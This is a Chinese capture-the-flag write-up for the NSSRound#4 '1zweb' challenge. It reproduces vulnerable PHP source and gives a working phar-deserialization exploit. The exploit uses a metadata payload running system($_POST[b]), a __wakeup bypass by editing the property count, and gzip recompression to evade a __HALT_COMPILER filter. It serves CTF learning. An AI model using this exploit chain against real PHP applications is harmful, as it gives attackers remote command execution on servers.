[NSSRound#4 SWPU]1zweb

这题有点不好

可以直接包含根目录下的flag文件得到flag

但是正常做应该是这样的

POC

分析

首先我们需要包含以下index.php和upload.php来获取源码

源码如下

###### index.php

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    echo file_get_contents($file);
}



###### upload.php

if ($_FILES["file"]["error"] > 0) {
    echo "上传异常";
} else {
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))) {
        $content = file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if (gettype($pos) === "integer") {
            echo "ltj一眼就发现了phar";
        } else {
            if (file_exists("./upload/" . $_FILES["file"]["name"])) {
                echo $_FILES["file"]["name"] . " 文件已经存在";
            } else {
                $myfile = fopen("./upload/" . $_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/" . $_FILES["file"]["name"];
            }
        }
    } else {
        echo "dky不喜欢这个文件 ." . $extension;
    }
}

 

这道题的文件上传部分为白名单机制,无法直接上传木马,因为不知道暂存文件的名字,所以使用暂存文件的方法也不行

往下看其实有个提示,就是phar,虽然他检测了phar的特征值__HALT_COMPILER();,但是我们可以绕过呀,phar伪协议可以自动解压缩压缩包,而压缩过后的文件自然而然就没有什么特征值了。所以就这么干!

先补充原理

phar反序列化

也就是利用phar伪协议的反序列化能力来实现无unserialize反序列化的

以及用的上的脚本

phar生成脚本.phpphar_gzip压缩及重新打包脚本.py

EXP

首先构造出这样的phar构造脚本

<?php

class LoveNss{

    public $ljt;

    public $dky;

    public $cmd;

}

$o = new LoveNss();

$o->cmd="system(\$_POST[b]);";

$o->ljt="Misc";

$o->dky="Re";

@unlink("phar.phar");

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

?>

注意$o→cmd不能等于"\$_POST[b];",因为会不生效,不知道为啥,反正我在这个坑里埋汰了好久

然后用010editor或者winhex修改里面的metadata的序列化值中的参数数量,加一就可以绕过__wakeup魔术函数

然后再用那个python脚本重新生成签名并且压缩隐藏特征值即可

OVER!!!